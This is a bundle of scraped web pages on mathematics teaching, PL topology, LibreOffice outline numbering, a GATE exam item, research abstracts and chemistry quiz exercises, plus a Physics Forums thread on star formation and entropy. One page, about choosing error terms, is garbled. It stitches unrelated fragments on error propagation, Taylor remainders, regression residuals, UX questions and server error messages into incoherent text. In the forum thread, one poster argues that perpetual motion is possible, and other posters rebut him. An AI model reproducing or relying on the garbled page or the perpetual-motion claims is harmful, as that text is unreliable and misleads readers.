## Tag: notation 32 Reasons for (not) distinguishing $f$ from $f(x)$ 2014-03-21T09:38:43.560 26 What is the rationale for the absent (+) in mixed fractions? 2014-07-11T03:03:22.770 26 Metonymy in mathematics 2014-10-01T12:04:47.147 22 Repeated addition: standard notation? 2015-10-27T08:39:34.133 22 Misuse of parentheses for multiplication 2016-10-24T06:31:11.140 20 Students using ambiguous notation 2014-04-03T13:39:28.417 19 Notation Conflict between Teachers and Textbooks 2014-03-28T07:22:02.547 16 Grating mathematical phrases---How to correct? 2017-03-16T02:59:30.883 15 Why is multiplication taught using cross notation at first? 2017-12-30T15:58:47.980 14 Do students confuse $\log_ab$ and $\log a^b$? 2016-02-12T18:33:10.587 14 Explaining to students why $m$ and $b$ are used in the slope-intercept equation of a line 2017-08-29T21:08:10.370 13 As a TA, how to reduce imprecise notations/statements in students' exams 2015-10-29T08:25:11.400 12 Explaining the symbols in definite and indefinite integrals 2014-11-21T16:32:10.787 12 Using $dx$ for $h$ in the definition of derivative 2015-10-21T13:17:10.927 12 Why do some of my, usually international/Indian students, write limits to the left of the integral? 2017-03-03T20:26:18.327 12 Writing Fractions "Correctly" 2017-11-03T14:20:35.450 11 Is using different notations in one course a good idea? 2014-04-09T21:21:38.710 11 Language to Distinguish Between Variables and Arbitrary Constants 2015-02-04T01:14:58.220 11 How to teach brackets? 2015-10-03T20:07:45.487 10 When and Why are different division symbols taught? 2016-01-19T13:58:19.500 10 How to denote angle? 2016-12-11T12:10:47.163 9 Proof of why BODMAS (or BIDMAS) works? 2016-05-08T17:45:21.087 8 Is this example of Leibniz notation sloppy? 2014-08-26T14:04:56.563 8 Framework for Compound Inequalities 2018-01-23T13:19:33.107 7 Is there a good notation for "ratio" comparable to the use of $\Delta$ for "difference"? 2015-05-04T17:39:46.160 7 What symbol is appropriate to represent a sum modulo N? 2015-09-26T10:57:47.240 7 Design of a math exam using multiple choice or computer 2016-12-09T12:55:47.763 7 Is "hat notation" for unit vectors commonly used in mathematics? 2018-01-05T01:52:22.003 6 Resource about notation for students 2014-09-02T16:18:55.940 6 Helping high school students remember inequalities and division 2014-10-17T17:28:16.620 6 Notation of points with coordinates 2014-12-10T10:28:10.910 6 How to reasonably denote lines, line segments and rays? 2016-08-15T12:38:53.417 5 Notation for an element in a polynomial ring 2015-03-02T17:45:18.850 5 At what educational stage are angles greater than 180 introduced? 2016-12-14T23:59:03.347 5 Wording VS mathematical notations 2017-05-14T08:19:26.477 4 On using different notations for the same objects 2014-08-21T03:32:16.737 4 Notation of line segment and its length 2016-07-12T08:42:48.767 4 What is the role of the efforts to change the fundamentals of maths? 2017-07-08T04:14:06.653 3 How to explain "fractional terms"? 2016-04-28T15:31:12.460 1 Moving lines in schematic diagrams 2015-12-03T06:01:11.437
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https://www.physicsforums.com/threads/gravity-vs-entropy.282571/
Gravity .vs. Entropy 1. Jan 2, 2009 Magical I'm trying to understand why the formation of a new star from the surrounding space/dust does not violate the 2nd Law of Thermodynamics. From Wiki...2nd Law of Thermodynamics...states that the total entropy of any isolated thermodynamic system tends to increase over time, approaching a maximum value So, why doesn't the gravitationally induced formation of a star (or planet/moon for that matter), which would sure seem to decrease the entropy of the system not violate this law. Again from Wiki...Entropy is the only quantity in the physical sciences that "picks" a particular direction for time, sometimes called an arrow of time. As we go "forward" in time, the Second Law of Thermodynamics tells us that the entropy of an isolated system tends to increase or remain the same; it will not decrease. Hence, from one perspective, entropy measurement is thought of as a kind of clock. 2. Jan 2, 2009 cesiumfrog Sure, gravity might decrease the spatial disorder amongst dust particles (assuming they started out in an improbable state of low-velocity and homogeneity), but it also increases the disorder in momentum (things speed up as they fall). Entropy is constant. And then, the only way that gravitational collapse will asymmetrically proceed further is if the system can radiate heat to (increase the chaos of) its cooler surroundings. Entropy only decreases locally, not in total. 3. Jan 10, 2009 Magical Example of 'Uphill Energy Flow' Thanks cesiumfrog, however, I would like someone to address the 'uphill flow of energy' that is demonstrated by star formation from dust clouds under the force of gravity (or curved space if you prefer). It should be clear that the system has gone from one which would be very difficult to extract energy from, to a system which has 'concentrated energy' and is now actively radiating mass quantities. In other words, there has been an 'uphill flow of energy'...from the dispersed to the condensed, with no external energy input other than the force of gravity. Exactly where in physics is this 'uphill flow of energy' described, that allows for the formation of systems 'which concentrate 'energy' from the high entropy, unusable, dispersed state to the low entropy, readily tapped, condensed state? To say that they will balance eventually, via radiation, ignores the condensation that has occurred. Here is a quote from Roger Penrose.... “We seem to have lost those most crucial conservation laws of physics, the laws of conservation of energy and momentum!” [Penrose then adds the Killing symmetry arbitrarily, to get conservation again, when the Killing vector applies and gravity is separated.]. “These conservation laws hold only in a spacetime for which there is the appropriate symmetry, given by the Killing vector ĸ…. [These considerations] do not really help us in understanding what the fate of the conservation laws will be when gravity itself becomes an active player. We still have not regained our missing conservation laws of energy and momentum, when gravity enters the picture. ... This awkward-seeming fact has, since the early days of general relativity, evoked some of the strongest objections to that theory, and reasons for unease with it, as expressed by numerous physicists over the years. … in fact Einstein’s theory takes account of energy-momentum conservation in a rather sophisticated way – at least in those circumstances where such a conservation law is most needed. …Whatever energy there is in the gravitational field itself is to be excluded from having any representation…” From... Roger Penrose, The Road to Reality, Alfred A. Knopf, New York, 2005, p. 457-458. 4. Jan 10, 2009 Shackleford Well, there is actually an increase in the microstates/entropy of the system. The matter is originally rigid dust particles and so forth (fewer microstates). From the agglomeration and associating interactions, there's an increase in molecular kinetic energy. A star is pretty "hot." I suppose that's a simple way of looking at it. 5. Jan 11, 2009 Magical So, Higher Entropy = MORE Energetic, in this case I've always understood the Laws of Thermodynamics to mean that a 'closed system', (in this case the dust clouds) could not self-assemble itself into a 'more energetic' system'. In other words, I equated increased entropy with decreased energy concentration. I think many others make this same assumption, and in fact, I think this is very strongly implied in the Laws of Thermodynamics, if not explicitly stated. I would say...there are NO closed systems in the universe, since Gravity and the quantum vacuum permeate it all, and in this case, clearly shows that a 'more energetic system' CAN self-assemble under the force of gravity (or curved-space of gravity, if you prefer). If there are no closed systems, what actual validity do the Laws of Thermodynamics have? Show me a closed system that is NOT exposed to the forces of gravity and the fluctuations of the quantum vacuum. WHERE is a closed system ? 6. Jan 11, 2009 Shackleford Re: So, Higher Entropy = MORE Energetic, in this case Well, you also have to remember that it's referring to a naturally-occurring spontaneous process. A closed system is one in which mass can be exchanged but not energy; an isolated system is a closed system that does not exchange energy with the surroundings. Increasing entropy is really not related to "energy concentration." Last edited: Jan 11, 2009 7. Jan 11, 2009 Magical Closed, Isolated....Neither Actually Exists From Wiki... CLOSED SYSTEM A closed system is a system in the state of being isolated from its surrounding environment. It is often used to refer to a theoretical scenario where perfect closure is an assumption, however in practice no system can be completely closed; there are only varying degrees of closure. ISOLATED SYSTEM In the natural sciences an isolated system, as contrasted with a open system, is a physical system that does not interact with its surroundings. It obeys a number of conservation laws: its total energy and mass stay constant. They cannot enter or exit, but can only move around inside. An example is in the study of spacetime, where it is assumed that asymptotically flat spacetimes exist. Truly isolated physical systems do not exist in reality (except for the universe as a whole), because, for example, there is always gravity between a system with mass and masses elsewhere. However, real systems may behave nearly as an isolated system for finite (possibly very long) times. Language is important, especially in science, and when these laws are predicated on definitions that do not exist in the real world, and used as examples of the 'absolutes' of physics, one has to question their preciseness. I will grant that they may be valid, within their own 'unreal' constraints, but the fact remains...Gravity produces highly energetic, self-assembling concentrations of mass/energy (stars), which for all intents and purposes are 'perpetual motion' machines within the confines of our lifetimes. To say that one cannot 'violate the laws of thermodynamics' when they are predicated on systems that DO NOT PHYSICALLY EXIST, is not really a 'scientific' statement about the nature of the REAL world. 8. Jan 11, 2009 Mapes Re: Example of 'Uphill Energy Flow' Magical, read cesiumfrog's post again. The system is not isolated by any approximation. It is radiating heat, which increases considerably as compression occurs. This increase in entropy more than balances the entropy reduction from compressing matter. You're misinterpreting cesiumfrog's post. Entropy flows don't "balance eventually." Total entropy increases constantly due to entropy production during the emission and absorption of radiation. Otherwise the process wouldn't be spontaneous. 9. Jan 11, 2009 Naty1 Here's how Brian Greene explains it (FABRIC OF THE COSMOS, PG 172+) 10. Jan 11, 2009 Shackleford Re: Closed, Isolated....Neither Actually Exists You can define the system however you want: the dust cloud particles along with the space-time manifold inherent to their existence and location and all associating properties of inertia. You can certainly include all the properties of inertia and consider them in the "isolated" system. In which case, entropy does increase as the formation of a star occurs. The thermal energy is greatly increased which is directly related to the change in entropy. 11. Jan 11, 2009 tim_lou being squeezed does not equate to lower entropy. Just think about ice, when frozen, it expands. So, does it mean ice has more entropy? Also, people seem to neglect what entropy really is and instead just talk about a general idea of "orderness". Indeed, there is an equation that describes how entropy changes, $$\frac{dS}{dt}=\frac{\delta Q}{dt}=\frac{1}{T}\frac{d U}{d t}+\frac{P}{T}\frac{dV}{dt}-\frac{\mu}{T}\frac{dN}{dt}$$ so, even if dV/dt is negative, dU/dt, the kinetic energy of the molecules increase dramatically, making dS/dt ≥ 0. Most of these so called violations of second law can be easily refuted by just looking at the actual equation describing entropy. Last edited: Jan 11, 2009 12. Jan 11, 2009 Magical Entropy .vs Energy Here is the key point I'm trying to understand. The Laws of Thermodynamics are most often cited as the reason that a 'perpetual motion machine' (PPM) cannot be created, but at the same time the laws are predicated on the 'closed' and 'isolated' terms used to 'qualify' their range of applicability. 'Increasing Entropy' is cited as the reason that a PPM can't be created, however, it is clear from 'reading the fine print', that: 1) Isolated and closed systems do not exist 2) The concept of 'Increasing Entropy' actually does not preclude the formation of systems with an Increased Energy Concentration (GRADIENT), specifically under the force of gravity, and possibly by extraction of the kinetic energy of the quantum vacuum. The way in which these laws are written means they flat out, do not apply to the formation of a star under gravity, and would also not apply to a system that extracted energy from the vacuum. Therefore, because of the definition of closed and isolated systems, which do not exist in the real world, it is invalid to cite the Laws of Thermodynamics as the reason why a PPM can't be created, when nature is effectively doing it via star formation, to which these laws do not apply. The universe is a Dynamically Balanced System, which oscillates between concentration and dispersion, via the balanced forces of gravity and radiation. It is not a 'one way' system, as the laws of thermodynamics imply with qualified implications that it is becoming more random. 13. Jan 11, 2009 Shackleford Here's a general statement of the Second Law: The total entropy of any system plus that of its environment increases as a result of any natural process. It is up to you to determine and specify all the participants in the system. For practical purposes, the time-scale also helps us to classify something as "isolated" or "closed." Last edited: Jan 11, 2009 14. Jan 11, 2009 tim_lou Magical, I do not know where you get your "fine prints", but saying how thermodynamics is impractical just because some fine print says so is rather silly. Perhaps you can show us directly which equation (you think) breaks down and which assumptions are wrong? Also, thermodynamics applies to isolated system, closed system and open system just as well. Thermodynamics only assumes some very mild statements about the systems (Ergodic hypothesis, energy conservations, continuous change in the system and some other things). Entropy is defined as klnΩ (non-quantum mechanical), where Ω is the total number of possible configurations given certain constrains. This can certainly be defined in a system with gravity. Also, gravity does not extract energy from the vacuum, it extracts energy from the gravitational potential. I suggest you read some standard textbooks on thermal physics before making claims that seem to come from nowhere. The laws of thermodynamics come from logical deductions (from some basic assumptions) and are not just some kind of quotes or speculations. Last edited: Jan 11, 2009 15. Jan 11, 2009 Magical Its the definitions and extrapolations What I am pointing out is ---> the conclusion that the laws of thermodynamics preclude the existance of a PPM is invalid because the laws (as spefically written) do not account for the existance of either gravity or quantum fluctuations. You misquoted me...I never said, 'gravity extracts energy from the vacuum'. What I said was, 'and would also not apply to a system that extracts energy from the vacuum.' I never said the laws were untrue within the confines of their limited and non-physical reality definitions. I said 'because of the qualifications on the extent of their application to closed or isolated systems, the laws do not apply outside of that realm.' I suggest you show me exactly where and how the laws of thermodynamics prove that a PPM cannot exist, in light of the fact there are no closed or isolated systems. And don't try and say a star is not perpetual, because that is a distinction without a difference, when they last for billions of years. 16. Jan 11, 2009 Shackleford Re: Its the definitions and extrapolations Did you miss his statement? 17. Jan 11, 2009 Shackleford Re: Its the definitions and extrapolations Your confusion seems to be stemming from a lack of understanding of more thermodynamics. Basically, no engine can be 100% efficient because thermal energy is lost which cannot be used for useful work. 18. Jan 11, 2009 Magical Not QUITE I understand perfectly well how there are always losses...oops, even that isn't true...a superconducting wire will circulate the current essentially indefinitely...a PPM, since electrons have mass. I think your confusion, if you have any, stems from the fact that you do not make the distinction between a closed/isolated system and an open system. I think I've stated my case clearly enough for anyone who is listening to understand exactly what I am saying: The Laws of Thermodynamics do not preclude the aggregation of energy and creation of a gradient via external sources (gravity, quantum fluctuations) and once a gradient is created, energy can then flow, and work can be done. Simple as that...happens everywhere in nature...SPONTANEOUSLY. Its called cycles. Even rocks are making voltage...look at petrovoltaics....all it takes is a little natural rectifier...We must be smarter than rocks... 19. Jan 11, 2009 Mapes This is turning into an agenda thread. Your original question was on the spontaneity of star formation and the Second Law. You've gotten several answers and a literature reference, but instead of addressing these points, you're on to superconductors (which are not perpetual motion machines as these machines are commonly defined) and cranky pseudoscience. You're moving the discussion away from the purpose of these forums, which is discussing consensus physics. 20. Jan 11, 2009 Magical Bull Who's practicing 'Cranky Pseudoscience' ? That is a blatant false accusation and a personal attack. Show me ONE FALSE statement I made. But, I do get the message loud and clear from the fact you practice 'consensus physics' and I will not post anymore.
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https://ask.libreoffice.org/en/question/88624/apply-style-hierarchy-to-numbering-automatically/?answer=118756
# apply Style hierarchy to Numbering automatically [closed] edit In "Numbering" (lists), I would like an option to apply successively lower Styles, starting at Heading 1, to each successive indented number in the list. My goal is to generate a Table of Contents (TOC) for this table. The Styles will be automatically updated every time I make an entry in the body of my document (in the normal way that a numbered list automatically inserts the next sub number in the list), and then the automatically applied Styles will show up as entries in the TOC. Basically, I'm trying to make a document, with successive sections (1, 1.1, 1.1.1...; 2,2.1,2.1.2. etc...) that all get generated automatically and all show up in a TOC. I don't want to do this manually, and I don't want to have to manually re-style the whole list should I decide to add an entry. Zooming out, the question is, how do you make a scientific paper in LibreOffice? Maybe there is already another way to do this. edit retag reopen merge delete ### Closed for the following reason the question is answered, right answer was accepted by Alex Kemp close date 2020-08-10 13:42:13.895992 Sort by » oldest newest most voted It seems your goal is exactly what Heading x styles are meant for. Your question may then be "how to enable numbering on Heading x?" because, by default, Heading x do not display their number. Go to Tools->Outline Numbering.... Click on the 1-10 level to apply your settings to all level simultaneously (otherwise, you must do it on each level individually). Chose the numbering type from the Number drop-down menu. Click OK when you're done. Of course, you can experiment if you want variations on some levels. If this answer helped you, please accept it by clicking the check mark to the left and, karma permitting, upvote it. If this is what you expected, close the question, that will help other people with the same question. more Brilliant, this worked! As stated above, note that this process occurs in the opposite order than I expected--you apply numbering to styles, not styles to numbering. So, when you apply this option, and then create the successive headings (e.g., by using shortcuts Ctrl + [0-10]), they automatically get numbered. Then you can make your TOC. ( 2017-02-28 00:02:59 +0200 )edit Thar's one of the underlying principles in LO. Decorations like numbering are a property or attribute of styles so that you completely separate content (text) from its display and layout. With the added consequence you can produce very different looking documents with same content only by changing styles. ( 2017-02-28 08:11:15 +0200 )edit This is not working for me. Following instructions above I have all my Heading N styles showing up as Outline Numbering (good), but I'm not seeing the outline numbering I selected. Given my selection of outline numbering type (1, 1.1, 1.1.1 ) etc, I expect that with these headings Title One Title Two Subtitle Two Dot One After applying styles I'd see 2.1 Title Two Dot One (heading 2) But I don't see that. I get 3 Title Two Dot One (heading 2 -- in hd2 font but head1 #) Going crazy here. more Looks to me you defined custom outline styles based on list (where you can have "continuous numbering" across levels). The built-in outline styles have a capital H as in Heading x, not heading x. Please check and report. ( 2017-08-04 08:41:25 +0200 )edit Thanks. On the Styles and Formatting window (F11), these styles show as Heading 1, Heading 2 and so on. On the paragraph style dialog for Heading 2 (rt-click,Modify), Heading 2/Outline&Numbering tab, Numbering style is Outline Numbering -- grayed. Menu.Format.Paragraph, Numbering Style in Outline numbering. The dropdown is active giving options for List x and Numbering x. Menu.Format.Bullets and Numbering, Outline tab, shows the numbering style I want , but I don't see how to select. ( 2017-08-04 18:07:59 +0200 )edit Outline Numbering grayed because this built-in style attribute is protected. Format>Paragraph: drop-down menu active because you're creating manual formatting without changing style definition, but doing so your paragraph is no longer part of outline but becomes a list! Format>Bullets & Numbering, Outline tab: courtesy shortcut for setting several parameters in position and options tab. Just click on an example. Usually not satisfying; tune in said tabs. ( 2017-08-05 08:09:29 +0200 )edit IMPORTANT: a paragraph is part of outline ONLY if Format>Paragraph, Numbering Style is Outline Numbering. Numbering appearance is defined in Tools>Outline Numbering (my laptop still has LO v4.x, may be in Format in LO v5.x), where you can tune each level separately. Note that no "list" style is involved. Chapter numbering for TOC is not a "list" (in LO parlance) but another concept. ( 2017-08-05 08:21:22 +0200 )edit
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http://mathoverflow.net/questions/104379/are-open-convex-pl-subsets-of-rn-pl-homeomorphic-to-rn
# Are open convex PL subsets of R^n PL homeomorphic to R^n? This is a basic issue of PL topology that I assume must be true, but I can't find a written reference: is a convex open PL subset of $\mathbb R^n$ PL homeomorphic to $\mathbb R^n$? I've scanned through Rourke-Sanderson, Hudson, Zeeman, and Stallings, but can't quite find it in there. I'd appreciate a quotable reference if possible. - I do not know a reference, but it seems to be easy to prove. –  Anton Petrunin Aug 9 '12 at 23:42 This can be proven by the "standard mistake" in PL topology (radial projection to the simplex). Standard mistake argument is, I think, in Rourke-Sanderson. Incidentally, you do not need the boundary to be PL since every convex solid is a limit of convex polytopes and so you can view your solid as a union of a convex polytope and infinitely many polyhedral annuli. –  Misha Aug 10 '12 at 6:51 @Misha: why is this called the standard mistake? –  Igor Rivin Aug 10 '12 at 15:29 @Igor: Because everybody makes it at first, I guess. It is also easily correctable (after you take a subdivision the projection induces an isomorphism of simplicial complexes). –  Misha Aug 24 '12 at 9:15
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https://ch.gateoverflow.in/1195/gate-ch-2021-question-30
Which of these symbols can be found in piping and instrumentation diagrams? 1. $(Q)$ and $(S)$ only 2. $(P)$, $(Q)$ and $(R)$ only 3. $(P)$, $(R)$ and $(S)$ only 4. $(P)$, $(Q)$, $(R)$ and $(S)$ Answer:
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http://pascal.inrialpes.fr/data2/archetypal_style/tpami/picasso/
# Pablo Picasso We apply archetypal analysis to a set of 1065 artworks by Pablo Picasso obtained from WikiArt. We compute $k=32$ archetypes. ## Archetype Visualizations The figures below show all 32 archetypes. ## Image Decompositions Archetypal analysis allows to decompose an image into its contributing styles. Below are some examples of these decompositions, computed with Gatys' style representation. The contributions of the archetypal styles are visualized in three ways: • as a texture synthesized using the archetypal style (left column) • as stylization of the image in questions, using a unit vector for each contributing style (top row) • as a sum of the (strongest three) contributing images
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https://proofwiki.org/wiki/Category:Regular_Open_Sets
# Category:Regular Open Sets This category contains results about Regular Open Sets in the context of Topology. Let $T$ be a topological space. Let $A \subseteq T$. Then $A$ is regular open in $T$ if and only if: $A = A^{- \circ}$ ## Pages in category "Regular Open Sets" The following 4 pages are in this category, out of 4 total.
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http://mathhelpforum.com/number-theory/6482-greatest-common-divisor.html
# Math Help - greatest common divisor 1. ## greatest common divisor ok i'm trying to do 2 proofs for gcd show that if ax + by =1 then gcd(a,b)=1 and gcd(a,a+k) divides k just need a little hint on where to start thanks 2. Originally Posted by action259 ok i'm trying to do 2 proofs for gcd show that if ax + by =1 then gcd(a,b)=1 Suppose c>1 is the gcd(a,b), then c divides (ax+by), but c does not
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http://paperity.org/p/79879929/interference-mitigation-using-random-antenna-selection-in-millimeter-wave-beamforming
# Interference mitigation using random antenna selection in millimeter wave beamforming system EURASIP Journal on Wireless Communications and Networking, May 2017 In multi-user beamforming systems, the inter-user interference are controlled by spatial filtering. Since the implementation of digital beamforming is difficult due to high hardware cost of large array system, the analog beamforming system with one phase shifter at each antenna element is considered with antenna selection scheme. However, the beamwidth is not sufficiently narrow to perfectly remove the interference due to limited size of antenna arrays. To mitigate the interference, we propose the random antenna selection system in millimeter wave channel. The random antenna selection expands the effective array size so that the beamwidth becomes narrow. We compare the beamwidth of conventional fixed antenna selection with random antenna selection and analyze the amount of interference for each selection scheme. Theoretical analysis and bit error rate simulation results indicate that the beamforming with random antenna selection can take advantage of large array. This is a preview of a remote PDF: https://link.springer.com/content/pdf/10.1186%2Fs13638-017-0868-5.pdf Woochang Lim, Girim Kwon, Hyuncheol Park. Interference mitigation using random antenna selection in millimeter wave beamforming system, EURASIP Journal on Wireless Communications and Networking, 2017, 87, DOI: 10.1186/s13638-017-0868-5
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http://digitalhaunt.net/California/choosing-error-terms.html
Aaron's Tech Services (ATS) is ran out of Riverside by Aaron Wideen. Founded in February 2011 the company has already serviced dozens of requests. Aaron specializes on the Mac platform but also services Windows and Linux based computers. ATS' most recently added services include book and web designing. At ATS we offer a variety of services and products. Our services include but are not limited to: Web Design, Computer Repair, and Book Publishing. We also make a range of photo related products which include: Photo Books, Custom Calendars, and Letterpress Cards. Visit our webpage for more information and to see an entire list of our services. Address Riverside, CA 92507 (951) 888-0349 # choosing error terms March Air Reserve Base, California Similarly, fg will represent the fractional error in g. Step 1 - Yijkl = μ + αj + βk + γl + αβjk + αγjl + βγkl + αβγjkl + εi(jkl) Part 1 Part 2 Part 3 subscript i j When two quantities are multiplied, their relative determinate errors add. The coefficients may also have + or - signs, so the terms themselves may have + or - signs. Please try the request again. The OLS residuals look small in 2013 (6, -9, -7 for Q1, Q2, Q3) but the dynamic residual obtained by substituting in each predicted value of C through the sample period So, what is the value of $$z$$? $$z$$ takes on a value between $$a$$ and $$x$$, but, and here's the key, we don't know exactly what that value is. The size of the error in trigonometric functions depends not only on the size of the error in the angle, but also on the size of the angle. Therefore we can use residuals to estimate the standard error of the regression model.. The system returned: (22) Invalid argument The remote host or network may be down. Join for free An error occurred while rendering template. and it is, except for one important item. This is *NOT* true. I will give one example from my practice. Apr 6, 2014 Rafael Maria Roman · University of Zulia The terms RESIDUAL and ERROR, even what they represent the same thing, they are not exactly the same. Clicking on them and making purchases help you support 17Calculus at no extra charge to you. It can show which error sources dominate, and which are negligible, thereby saving time you might otherwise spend fussing with unimportant considerations. Notice we are cutting off the series after the n-th derivative and $$R_n(x)$$ represents the rest of the series. How are aircraft transported to, and then placed, in an aircraft boneyard? Since we have a closed interval, either $$[a,x]$$ or $$[x,a]$$, we also have to consider the end points. Jan 10, 2014 John Ryding · RDQ Economics It is very easy for students to confuse the two because textbooks write an equation as, say, y = a + bx + rgreq-5a04e97ef02ce1e7f91f24549dfce8b5 false current community chat User Experience User Experience Meta your communities Sign up or log in to customize your list. Suppose n measurements are made of a quantity, Q. The sense of growing levels can be conveyed by numbers and size. there might be many equations that haven't been looked at in a while and, on revised data or over time, the model goes off track. Thank you very much for your help! –Wheelie Sep 16 '12 at 21:28 3 Thanks! We have no idea whether y=a+bx+u is the 'true' model. We end up using the residuals to choose the models (do they look uncorrelated, do they have a constant variance, etc.) But all along, we must remember that the residuals are It can suggest how the effects of error sources may be minimized by appropriate choice of the sizes of variables. We include variables, then we drop some of them, we might change functional forms from levels to logs etc. However, only you can decide what will actually help you learn. This also holds for negative powers, i.e. Look at the determinate error equation, and choose the signs of the terms for the "worst" case error propagation. I recall having read that in Japan mourning people dress in white. This is *NOT* true. Note that this fraction converges to zero with large n, suggesting that zero error would be obtained only if an infinite number of measurements were averaged! Using this style, our results are: [3-15,16] Δg Δs Δt Δs Δt —— = —— - 2 —— , and Δg = g —— - 2g —— g s t s So this remainder can never be calculated exactly. The error in the sum is given by the modified sum rule: [3-21] But each of the Qs is nearly equal to their average, , so the error in the sum Why don't you connect unused hot and neutral wires to "complete the circuit"? Terms Of UsePrivacy Statement ERROR The requested URL could not be retrieved The following error was encountered while trying to retrieve the URL: http://0.0.0.8/ Connection to 0.0.0.8 failed. This is what I have so far: Default Colour | Number of errors | Adjective --------------------------------------------------- Green | 0 | Operational Yellow | 1 | Temperamental Orange | 2-9 | Unstable Light The errors in s and t combine to produce error in the experimentally determined value of g. Browse other questions tagged desktop-application names errors or ask your own question. This seems somewhat arbitrary but most calculus books do this even though this could give a much larger upper bound than could be calculated using the next rule. [ As usual, etc. In large macro models. The equation is estimated and we have ^s over the a, b, and u. If we assume that the measurements have a symmetric distribution about their mean, then the errors are unbiased with respect to sign. Step 7 - If a column heading does not appear as a row subscript enter the letter for the number of levels Step 8 - In part 3 list a variance You can easily work out the case where the result is calculated from the difference of two quantities. Generated Thu, 06 Oct 2016 06:00:43 GMT by s_hv720 (squid/3.5.20) Such an equation can always be cast into standard form in which each error source appears in only one term. The process of model modification should continue to achieve residuals with acceptable characteristics. These rules only apply when combining independent errors, that is, individual measurements whose errors have size and sign independent of each other. Step 5 - If a column heading appears as a row subscript in parentheses enter a 1 in part 2. When we are only concerned with limits of error (or maximum error) we assume a "worst-case" combination of signs. This implies that residuals (denoted with res) have variance-covariance matrix: V[res] = sigma^2 * (I - H) where H is the projection matrix X*(X'*X)^(-1)*X'. Select the MS, df option button to specify a user-defined estimate of the error mean squares and respective degrees of freedom. is given by: [3-6] ΔR = (cx) Δx + (cy) Δy + (cz) Δz ... To handle this error we write the function like this. $$\displaystyle{ f(x) = f(a) + \frac{f'(a)}{1!}(x-a) + \frac{f''(a)}{2!}(x-a)^2 + . . . + \frac{f^{(n)}(a)}{n!}(x-a)^n + R_n(x) }$$ where $$R_n(x)$$ is the They do not fully account for the tendency of error terms associated with independent errors to offset each other. Dec 16, 2013 David Boansi · University of Bonn Interesting...Thanks a lot Horst for the wonderful response....Your point is well noted and much appreciated Dec 16, 2013 P. A simple modification of these rules gives more realistic predictions of size of the errors in results. Should they be used or avoided?8“An unexpected error occured”0How to position page-level error message?2Refreshing 500 error page1Displaying errors to a user - One at a time or all at once?0Track Errors In a SRF, you have parameter estimates meaning beta hats. This latter estimate of sigma is computed using the suggestions by Winer, Brown, and Michels (1991, pp. 526-531), and Milliken and Johnson (1992, pp. 322-350); note that the results based on Note that this option is only available if the current effect involves within-subjects (repeated measures) factors and between factors. Obviously, terms with zero coefficients drop out. Dec 12, 2013 David Boansi · University of Bonn Impressive, thanks a lot Carlos for the wonderful opinion shared. ui is the random error term and ei is the residual.
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https://iris.unimore.it/handle/11380/1206410
The assessment of the efficiency of a storm water storage facility devoted to the sewer overflow control in urban areas strictly depends on the ability to model the main features of the rainfall-runoff routing process and the related wet weather pollution delivery. In this paper the possibility of applying the analytical probabilistic approach for developing a tank design method, whose potentials are similar to the continuous simulations, is proved. In the model derivation the quality issues of such devices were implemented. The formulation is based on a Weibull probabilistic model of the main characteristics of the rainfall process and on a power law describing the relationship between the dimensionless storm water cumulative runoff volume and the dimensionless cumulative pollutograph. Following this approach, efficiency indexes were established. The proposed model was verified by comparing its results to those obtained by continuous simulations; satisfactory agreement is shown for the proposed efficiency indexes. An analytical probabilistic model of the quality efficiency of a sewer tank / Balistrocchi, Matteo; Grossi, Giovanna; Bacchi, Baldassare. - In: WATER RESOURCES RESEARCH. - ISSN 0043-1397. - 45, W12420:(2009), pp. 1-13. [10.1029/2009WR007822] ### An analytical probabilistic model of the quality efficiency of a sewer tank #### Abstract The assessment of the efficiency of a storm water storage facility devoted to the sewer overflow control in urban areas strictly depends on the ability to model the main features of the rainfall-runoff routing process and the related wet weather pollution delivery. In this paper the possibility of applying the analytical probabilistic approach for developing a tank design method, whose potentials are similar to the continuous simulations, is proved. In the model derivation the quality issues of such devices were implemented. The formulation is based on a Weibull probabilistic model of the main characteristics of the rainfall process and on a power law describing the relationship between the dimensionless storm water cumulative runoff volume and the dimensionless cumulative pollutograph. Following this approach, efficiency indexes were established. The proposed model was verified by comparing its results to those obtained by continuous simulations; satisfactory agreement is shown for the proposed efficiency indexes. ##### Scheda breve Scheda completa Scheda completa (DC) 45, W12420 1 13 An analytical probabilistic model of the quality efficiency of a sewer tank / Balistrocchi, Matteo; Grossi, Giovanna; Bacchi, Baldassare. - In: WATER RESOURCES RESEARCH. - ISSN 0043-1397. - 45, W12420:(2009), pp. 1-13. [10.1029/2009WR007822] Balistrocchi, Matteo; Grossi, Giovanna; Bacchi, Baldassare File in questo prodotto: File 2009WR007822.pdf non disponibili Dimensione 316.11 kB ##### Pubblicazioni consigliate Caricamento pubblicazioni consigliate I metadati presenti in IRIS UNIMORE sono rilasciati con licenza Creative Commons CC0 1.0 Universal, mentre i file delle pubblicazioni sono rilasciati con licenza Attribuzione 4.0 Internazionale (CC BY 4.0), salvo diversa indicazione. In caso di violazione di copyright, contattare Supporto Iris Utilizza questo identificativo per citare o creare un link a questo documento: `https://hdl.handle.net/11380/1206410` • ND • 35 • 30
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http://www.chemgapedia.de/vsengine/vlu/vsc/en/ch/12/oc/vlu_organik/substitution/sn_1/sn_1.vlu/Page/vsc/en/ch/12/oc/substitution/sn_1/loesungsmittel/loesungsmittel.vscml/Supplement/3.html
# Exercises Exercise What is the deciding effect of a solvent that is adequate for $SN1$ reactions? correct wrong partly correct It stabilizes the nucleophile and the intermediate stage. No, sorry. It stabilizes the nucleophile. Sorry, that is wrong. It stabilizes the product and the intermediate carbocation. No. It stabilizes the transition state of the rate-determining step. Correct! Exercise Solvents can stabilize ions well if they are ... correct wrong partly correct ... non-polar. Sorry, that is wrong. ... bipolar. No, sorry. ... cold. No. ... polar. Yes, that is correct! ... antarctic. Sorry, that is wrong. Exercise Which measure describes the polarity of solvents? correct wrong partly correct Electric constant. Sorry, that is wrong. Dielectric constant. Correct. Boiling point. No, sorry. Solubility. Sorry, that is wrong. Hammond constant. No, sorry. Exercise In which solvents do $SN1$ reactions proceed rapid?
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https://www.answers.com/Q/What_basic_unit_of_volume
